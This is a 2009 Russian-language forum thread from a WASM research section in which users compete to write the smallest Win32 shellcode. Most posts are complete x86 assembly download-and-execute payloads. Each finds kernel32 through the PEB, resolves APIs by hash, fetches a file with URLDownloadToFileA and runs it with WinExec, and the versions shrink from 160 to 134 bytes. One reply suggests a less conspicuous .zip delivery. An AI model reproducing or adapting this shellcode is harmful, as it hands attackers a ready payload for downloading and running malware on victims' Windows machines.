Предлогаю новогднее соревнование на самый маленький шеллкод для вин32

Тема в разделе "WASM.RESEARCH", создана пользователем sl0n, 3 янв 2009.

  1. researcher

    researcher New Member

    Публикаций:
    0
    Регистрация:
    18 мар 2005
    Сообщения:
    45
    Адрес:
    Russia
    Шеллкод без нулей в теле, вместо имен API функций используются их хэши.
    Размер - 160 байт - без URL.
    Код (Text):
    1. start:
    2.     push    030h
    3.     pop ecx
    4.     mov eax,fs:[ecx]
    5.     mov eax,[eax+0Ch]
    6.     mov esi,[eax+1Ch]
    7.     lodsd          
    8.     mov ebp,[eax+08h]  
    9.     jmp short startup
    10. begin:
    11.     pop edi
    12.     push    0393A3BBh   ;хэш LoadLibraryA
    13.     call    edi
    14.     xor ecx,ecx
    15.     mov cx,06E6Fh   ;'on'
    16.     push    ecx    
    17.     push    06D6C7275h  ;'urlm'
    18.     push    esp    
    19.     call    eax     ;LoadLibraryA
    20.     push    ebp
    21.     xchg    eax,ebp
    22.     push    0BC68D9Ch   ;хэш URLDownloadToFileA
    23.     call    edi
    24.     pop ebp
    25. ;Заранее формируем стек для вызова WinExec
    26.     push    1
    27.     lea ebx,[edi+find_func_size]
    28.     lea esi,[ebx+17] ;указатель на 'file.exe'
    29.     push    esi
    30.     xor ecx,ecx
    31.     push    ecx
    32.     push    ecx
    33.     mov [ebx+25],cl ;заменяем нулем 0FFh
    34.     push    esi
    35.     push    ebx
    36.     push    ecx
    37.     call    eax     ;URLDownloadToFileA
    38.     push    0A2BFA603h  ;хэш WinExec
    39.     call    edi
    40.     call    eax     ;WinExec
    41. exit:
    42.     push    0F8B61F9Ch  ;хэш ExitProcess
    43.     call    edi
    44.     call    eax     ;ExitProcess
    45. startup:
    46.     call begin 
    47. find_func:
    48.     mov eax,[ebp+3Ch]  
    49.     mov ebx,[ebp+eax+78h]
    50.     add ebx,ebp          
    51.     mov ecx,[ebx+18h]    
    52. find_function_loop:
    53.     jecxz   exit_find
    54.     dec ecx
    55.     mov eax,[ebx+20h]
    56.     add eax,ebp      
    57.     mov esi,[eax+ecx*4]
    58.     add esi,ebp        
    59.     xor eax,eax        
    60.     cdq
    61. compute_hash:
    62.     lodsb                  
    63.     add edx,eax
    64.     ror edx,0Dh
    65.     dec eax
    66.     jns compute_hash
    67.     cmp edx,[esp+4]
    68.     jnz find_function_loop
    69.     mov eax,[ebx+24h]    
    70.     add eax,ebp            
    71.     mov cx,[eax+2*ecx] 
    72.     mov eax,[ebx+1Ch]  
    73.     add eax,ebp        
    74.     mov eax,[eax+4*ecx]
    75.     add eax,ebp        
    76. exit_find:
    77.     ret 4
    78. find_func_size  equ $-find_func
    79. db 'http://localhost/file.exe', 0FFh
     
  2. researcher

    researcher New Member

    Публикаций:
    0
    Регистрация:
    18 мар 2005
    Сообщения:
    45
    Адрес:
    Russia
    Шеллкод с нулями в теле на базе предыдущего.
    Размер - 153 байта - без URL.
    Код (Text):
    1. start:
    2.     push    030h
    3.     pop ecx
    4.     mov eax,fs:[ecx]
    5.     mov eax,[eax+0Ch]
    6.     mov esi,[eax+1Ch]
    7.     lodsd          
    8.     mov ebp,[eax+08h]  
    9.     call    begin
    10. find_func:
    11.     mov eax,[ebp+3Ch]  
    12.     mov ebx,[ebp+eax+78h]
    13.     add ebx,ebp          
    14.     mov ecx,[ebx+18h]    
    15. find_function_loop:
    16.     jecxz   exit_find
    17.     dec ecx
    18.     mov eax,[ebx+20h]
    19.     add eax,ebp      
    20.     mov esi,[eax+ecx*4]
    21.     add esi,ebp        
    22.     xor eax,eax        
    23.     cdq
    24. compute_hash:
    25.     lodsb                  
    26.     add edx,eax
    27.     ror edx,0Dh
    28.     dec eax
    29.     jns compute_hash
    30.     cmp edx,[esp+4]
    31.     jnz find_function_loop
    32.     mov eax,[ebx+24h]    
    33.     add eax,ebp            
    34.     mov cx,[eax+2*ecx] 
    35.     mov eax,[ebx+1Ch]  
    36.     add eax,ebp        
    37.     mov eax,[eax+4*ecx]
    38.     add eax,ebp        
    39. exit_find:
    40.     ret 4
    41. find_func_size  equ $-find_func
    42.  
    43. urlmon  db 'urlmon',0
    44. urlmon_size equ $-urlmon   
    45. db 'http://localhost/file.exe', 0
    46.  
    47. begin:
    48.     pop edi
    49.     push    0393A3BBh   ;хэш LoadLibraryA
    50.     call    edi
    51.     lea ecx,[edi+find_func_size]
    52.     push    ecx
    53.     call    eax     ;LoadLibraryA
    54.     push    ebp
    55.     xchg    eax,ebp
    56.     push    0BC68D9Ch   ;хэш URLDownloadToFileA
    57.     call    edi
    58.     pop ebp
    59. ;Заранее формируем стек для вызова WinExec
    60.     push    1
    61.     lea ebx,[edi+find_func_size+urlmon_size]
    62.     lea esi,[ebx+17]    ;указатель на 'file.exe'
    63.     push    esi
    64.     xor ecx,ecx
    65.     push    ecx
    66.     push    ecx
    67.     push    esi
    68.     push    ebx
    69.     push    ecx
    70.     call    eax     ;URLDownloadToFileA
    71.     push    0A2BFA603h  ;хэш WinExec
    72.     call    edi
    73.     call    eax     ;WinExec
    74. exit:
    75.     push    0F8B61F9Ch  ;хэш ExitProcess
    76.     call    edi
    77.     call    eax     ;ExitProcess
    78. end start
     
  3. takerZ

    takerZ New Member

    Публикаций:
    0
    Регистрация:
    6 апр 2008
    Сообщения:
    18
    150. формфактор тот же
    Код (Text):
    1. use32
    2. sc_start:
    3.         call      sc_delta
    4. t_getaddr:
    5.         push      ebp
    6.         mov       edx, dword [ebx + 3Ch]
    7.         mov       esi, [ebx + edx + 78h]
    8.         lea       esi, dword [esi + ebx + 1Ch]
    9.         lodsd
    10.         xchg      eax, ecx
    11.         lodsd
    12.         mov       esi, dword [eax + ebx]
    13.         add       esi, ebx
    14.         xor       edx, edx
    15.         dec       edx
    16. @@:
    17.         inc       edx
    18.         xor       ebp, ebp
    19.         xchg      ebp, eax
    20. _nextbyte:
    21.         add       ebp, eax
    22.         rol       ebp, 1
    23.         lodsb
    24.         test      al, al
    25.         jne       _nextbyte
    26.         cmp       ebp, edi
    27.         jnz       @b
    28.         shl       edx, 02h
    29.         add       ecx, ebx
    30.         mov       eax, dword [ecx + edx]
    31.         add       eax, ebx
    32.         pop       ebp
    33.         ret
    34. sz_urlmon:
    35.         db        'urlmon', 0
    36. sz_url:
    37. ;        db        'http://www.microsoft.com/'
    38. sz_file:
    39.         db        'f.exe', 0
    40. sc_delta:
    41.         pop       ebp ; ebp <- t_getaddr
    42.         mov       eax, [fs:30h]
    43.         mov       eax, [eax + 0Ch]
    44.         mov       esi, [eax + 1Ch]
    45.         lodsd
    46.         mov       ebx, [eax + 08h] ; ebx <- KERNEL32.DLL base
    47.         mov       edi, 0B3746h
    48.         call      ebp ; eax <- LoadLibraryA
    49.         push      ebp
    50.         add       dword [esp], sz_urlmon - t_getaddr
    51.         call      eax ; eax <- URLMON.DLL base
    52.         push      ebx
    53.         xchg      ebx, eax ; ebx <- URLMON.DLL base
    54.         mov       edi, 29E1CB2h
    55.         call      ebp ; eax <- UrlDownLoadToFileA
    56.         pop       ebx ; ebx <- KERNEL32.DLL base
    57.         add       ebp, sz_file - t_getaddr ; ebp <- sz_file
    58.         xor       ecx, ecx
    59.         push      ecx
    60.         push      ebp
    61.         push      ecx
    62.         push      ecx
    63.         push      ebp
    64.         sub       ebp, sz_file - sz_url ; ebp <- sz_url
    65.         push      ebp
    66.         push      ecx
    67.         call      eax ; UrlDownloadToFile
    68.         sub       ebp, sz_url - t_getaddr ; ebp <- t_getaddr
    69.         mov       edi, 5DEAh
    70.         call      ebp ; eax <- WinExec
    71.         call      eax ; WinExec
    72.         mov       edi, 5AC6Ah
    73.         call      ebp ; eax <- ExitProcess
    74.         push      eax
    75.         call      eax ; ExitProcess
     
  4. researcher

    researcher New Member

    Публикаций:
    0
    Регистрация:
    18 мар 2005
    Сообщения:
    45
    Адрес:
    Russia
    141 байт. Шеллкод с нулями в теле без URL.
    Код (Text):
    1. start:
    2.     push    030h
    3.     pop ecx
    4.     mov eax,fs:[ecx]
    5.     mov eax,[eax+0Ch]
    6.     mov esi,[eax+1Ch]
    7.     lodsd          
    8.     mov ebx,[eax+08h]
    9.     call begin 
    10. find_func:
    11.     mov eax,[ebx+3Ch]  
    12.     mov ebp,[ebx+eax+78h]
    13.     lea esi,[ebx+ebp+1Ch]
    14.     lodsd
    15.     xchg    eax,ebp
    16.     lodsd
    17.     mov esi,[eax+ebx]
    18.     add esi,ebx
    19.     xor ecx,ecx
    20.     dec ecx
    21. find_function_loop:
    22.         inc ecx
    23.     xor eax,eax        
    24.     cdq
    25. compute_hash:
    26.     lodsb                  
    27.     add edx,eax
    28.     rol edx,1
    29.     dec eax
    30.     jns compute_hash
    31.     cmp edx,[esp+4]
    32.     jnz find_function_loop
    33.     shl ecx,02h
    34.     add ecx,ebp
    35.     mov eax,[ecx+ebx]
    36.     add eax,ebx
    37.     ret 4
    38. find_func_size  equ $-find_func
    39. urlmon  db 'urlmon',0
    40. urlmon_size equ $-urlmon   
    41. db 'http://localhost/file.exe', 0
    42. begin:
    43.     pop edi
    44.     push    00166E8Ch
    45.     call    edi
    46.     lea ecx,[edi+find_func_size]
    47.     push    ecx
    48.     call    eax     ;LoadLibraryA
    49.     push    ebx
    50.     xchg    eax,ebx
    51.     push    053C3964h
    52.     call    edi
    53.     pop ebx
    54. ;Заранее формируем стек для вызова WinExec
    55.     push    1
    56.     lea ebp,[edi+find_func_size+urlmon_size]
    57.     lea esi,[ebp+17]    ;указатель на 'file.exe'
    58.     push    esi
    59.     xor ecx,ecx
    60.     push    ecx
    61.     push    ecx
    62.     push    esi
    63.     push    ebp
    64.     push    ecx
    65.     call    eax     ;URLDownloadToFileA
    66.     push    0BBD4h
    67.     call    edi
    68.     call    eax     ;WinExec
    69. exit:
    70.     push    0000B58D4h
    71.     call    edi
    72.     call    eax     ;ExitProcess
     
  5. takerZ

    takerZ New Member

    Публикаций:
    0
    Регистрация:
    6 апр 2008
    Сообщения:
    18
    138. Скоро к одному и тому же коду придем ^^
    Код (Text):
    1. use32
    2. sc_start:
    3.         call      sc_delta
    4. t_getaddr:
    5.         push      ebp
    6.         mov       edx, dword [ebx + 3Ch]
    7.         mov       esi, [ebx + edx + 78h]
    8.         lea       esi, dword [esi + ebx + 1Ch]
    9.         lodsd
    10.         xchg      eax, ecx
    11.         lodsd
    12.         mov       esi, dword [eax + ebx]
    13.         add       esi, ebx
    14.         xor       edx, edx
    15.         dec       edx
    16. @@:
    17.         inc       edx
    18.         xor       ebp, ebp
    19.         xchg      ebp, eax
    20. _nextbyte:
    21.         add       ebp, eax
    22.         rol       ebp, 1
    23.         lodsb
    24.         dec       eax
    25.         jns       _nextbyte
    26.         cmp       ebp, edi
    27.         jnz       @b
    28.         shl       edx, 02h
    29.         add       ecx, ebx
    30.         mov       eax, dword [ecx + edx]
    31.         add       eax, ebx
    32.         pop       ebp
    33.         ret
    34. sz_urlmon:
    35.         db        'urlmon', 0
    36. sz_url:
    37. ;        db        'http://www.microsoft.com/'
    38. sz_file:
    39. ;        db        'f.exe', 0
    40. sc_delta:
    41.         pop       ebp ; ebp <- t_getaddr
    42.         mov       eax, [fs:30h]
    43.         mov       eax, [eax + 0Ch]
    44.         mov       esi, [eax + 1Ch]
    45.         lodsd
    46.         mov       ebx, [eax + 08h] ; ebx <- KERNEL32.DLL base
    47.         mov       edi, 0B0748h
    48.         call      ebp ; eax <- LoadLibraryA
    49.         lea       ecx, dword [ebp + sz_urlmon - t_getaddr]
    50.         push      ecx
    51.         call      eax ; eax <- URLMON.DLL base
    52.         push      ebx
    53.         xchg      ebx, eax ; ebx <- URLMON.DLL base
    54.         mov       edi, 2921CB4h
    55.         call      ebp ; eax <- UrlDownLoadToFileA
    56.         pop       ebx ; ebx <- KERNEL32.DLL base
    57.         lea       edx, dword [ebp + sz_file - t_getaddr] ; edx <- sz_file
    58.         xor       ecx, ecx
    59.         push      ecx
    60.         push      edx
    61.         push      ecx
    62.         push      ecx
    63.         push      edx
    64.         sub       edx, sz_file - sz_url ; edx <- sz_url
    65.         push      edx
    66.         push      ecx
    67.         call      eax ; UrlDownloadToFile
    68.         mov       edi, 5C6Ch
    69.         call      ebp ; eax <- WinExec
    70.         call      eax ; WinExec
    71.         mov       edi, 5946Ch
    72.         call      ebp ; eax <- ExitProcess
    73.         call      eax ; ExitProcess
     
  6. researcher

    researcher New Member

    Публикаций:
    0
    Регистрация:
    18 мар 2005
    Сообщения:
    45
    Адрес:
    Russia
    Согласен. Конечный код будет очень похож. Уменьшим шаг:
    137. Пришлось отказаться от затратных операций со стеком. :derisive:
    Код (Text):
    1. start:
    2.     push    030h
    3.     pop ecx
    4.     mov eax,fs:[ecx]
    5.     mov eax,[eax+0Ch]
    6.     mov esi,[eax+1Ch]
    7.     lodsd          
    8.     mov ebx,[eax+08h]
    9.     call begin 
    10. find_func:
    11.     push    edi
    12.     mov eax,[ebx+3Ch]  
    13.     mov edi,[ebx+eax+78h]
    14.     lea esi,[ebx+edi+1Ch]
    15.     lodsd
    16.     xchg    eax,edi
    17.     lodsd
    18.     mov esi,[eax+ebx]
    19.     add esi,ebx
    20.     xor ecx,ecx
    21.     dec ecx
    22. find_function_loop:
    23.         inc ecx
    24.     xor eax,eax        
    25.     cdq
    26. compute_hash:
    27.     lodsb                  
    28.     add edx,eax
    29.     rol edx,1
    30.     dec eax
    31.     jns compute_hash
    32.     cmp edx,ebp
    33.     jnz find_function_loop
    34.     shl ecx,02h
    35.     add ecx,edi
    36.     mov eax,[ecx+ebx]
    37.     add eax,ebx
    38.     pop edi
    39.     ret
    40. find_func_size  equ $-find_func
    41. urlmon  db 'urlmon',0
    42. urlmon_size equ $-urlmon   
    43. db 'http://localhost/file.exe', 0
    44. begin:
    45.     pop edi
    46.     mov ebp,00166E8Ch
    47.     call    edi
    48.     lea ecx,[edi+find_func_size]
    49.     push    ecx
    50.     call    eax     ;LoadLibraryA
    51.     push    ebx
    52.     xchg    eax,ebx
    53.     mov ebp,053C3964h
    54.     call    edi
    55.     pop ebx
    56.     lea ecx,[edi+find_func_size+urlmon_size]
    57.     lea esi,[ecx+17]
    58.     xor ebp,ebp
    59.     push    ebp
    60.     push    esi
    61.     push    ebp
    62.     push    ebp
    63.     push    esi
    64.     push    ecx
    65.     push    ebp
    66.     call    eax     ;URLDownloadToFileA
    67.     mov bp,0BBD4h
    68.     call    edi
    69.     call    eax     ;WinExec
    70. exit:
    71.     mov ebp,0000B58D4h
    72.     call    edi
    73.     call    eax     ;ExitProcess
     
  7. takerZ

    takerZ New Member

    Публикаций:
    0
    Регистрация:
    6 апр 2008
    Сообщения:
    18
    сдаюсь \=
     
  8. researcher

    researcher New Member

    Публикаций:
    0
    Регистрация:
    18 мар 2005
    Сообщения:
    45
    Адрес:
    Russia
    Ну вот... А я только разошелся....
     
  9. _edge

    _edge Well-Known Member

    Публикаций:
    1
    Регистрация:
    29 окт 2004
    Сообщения:
    631
    Адрес:
    Russia
    Мм.. а быть может вообще обойтись без Exec, скачивать .zip файл, он xp как папка опознается + менее палевно?
     
  10. takerZ

    takerZ New Member

    Публикаций:
    0
    Регистрация:
    6 апр 2008
    Сообщения:
    18
    _edge
    Безосновательное предложение с трудноуловимым смыслом...
    researcher
    У вас еще есть варианты? Выкладывайте (=
     
  11. researcher

    researcher New Member

    Публикаций:
    0
    Регистрация:
    18 мар 2005
    Сообщения:
    45
    Адрес:
    Russia
    Последний вариант:
    134 байта:
    Код (Text):
    1. start:
    2.     push    030h
    3.     pop ecx
    4.     mov eax,fs:[ecx]
    5.     mov eax,[eax+0Ch]
    6.     mov esi,[eax+1Ch]
    7.     lodsd          
    8.     mov ebx,[eax+08h]
    9.     call begin 
    10. find_func:
    11.     mov eax,[ebx+3Ch]  
    12.     mov eax,[ebx+eax+78h]
    13.     lea esi,[ebx+eax+1Ch]
    14.     lodsd
    15.     push    eax
    16.     lodsd
    17.     mov esi,[eax+ebx]
    18.     add esi,ebx
    19.     xor ecx,ecx
    20.     dec ecx
    21. find_function_loop:
    22.         inc ecx
    23.     xor edx,edx
    24. compute_hash:
    25.     lodsb                  
    26.     add dl,al
    27.     rol edx,1
    28.     dec al
    29.     jns compute_hash
    30.     cmp dx,bp
    31.     jnz find_function_loop
    32.     pop ebp
    33.     shl ecx,02h
    34.     add ecx,ebp
    35.     mov eax,[ecx+ebx]
    36.     add eax,ebx
    37.     ret
    38. find_func_size  equ $-find_func
    39. urlmon  db 'urlmon',0
    40. urlmon_size equ $-urlmon   
    41. db 'http://localhost/file.exe', 0
    42. begin:
    43.     pop edi
    44.     mov bp,00E8Ch
    45.     call    edi
    46.     lea ecx,[edi+find_func_size]
    47.     push    ecx
    48.     call    eax     ;LoadLibraryA
    49.     push    ebx
    50.     xchg    eax,ebx
    51.     mov bp,0A164h
    52.     call    edi
    53.     pop ebx
    54.     lea ecx,[edi+find_func_size+urlmon_size]
    55.     lea esi,[ecx+17]
    56.     xor ebp,ebp
    57.     push    ebp
    58.     push    esi
    59.     push    ebp
    60.     push    ebp
    61.     push    esi
    62.     push    ecx
    63.     push    ebp
    64.     call    eax     ;URLDownloadToFileA
    65.     mov bp,023D4h
    66.     call    edi
    67.     call    eax     ;WinExec
    68. exit:
    69.     mov bp,084D4h
    70.     call    edi
    71.     call    eax     ;ExitProcess
     
  12. takerZ

    takerZ New Member

    Публикаций:
    0
    Регистрация:
    6 апр 2008
    Сообщения:
    18
    Ну, я думаю рисерчер победил. Тему можно закрывать?
     
  13. AndreyMust19

    AndreyMust19 New Member

    Публикаций:
    0
    Регистрация:
    20 окт 2008
    Сообщения:
    714
    Нет, Нет, НЕТ!!! Победил - я!!! Размер shellcode'а - 0 байт.
     
  14. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    Вот и найден преславутый бот. Теперь можно закрыть сразу 2 темы :)
     
  15. AndreyMust19

    AndreyMust19 New Member

    Публикаций:
    0
    Регистрация:
    20 окт 2008
    Сообщения:
    714
    прфвцммиамфтчщывшщйцов2ущц8в2ьицу8.................................................................
     
  16. planet

    planet New Member

    Публикаций:
    0
    Регистрация:
    10 апр 2007
    Сообщения:
    108
    XP SP2 only? Если нет то баг с хешами, на SP3 вместо URLDownloadToFile RegisterFormatEnumerator вызывается.
     
  17. researcher

    researcher New Member

    Публикаций:
    0
    Регистрация:
    18 мар 2005
    Сообщения:
    45
    Адрес:
    Russia
    Странно, вроде под XP SP3 работал над всеми вариантами. Позже проверю.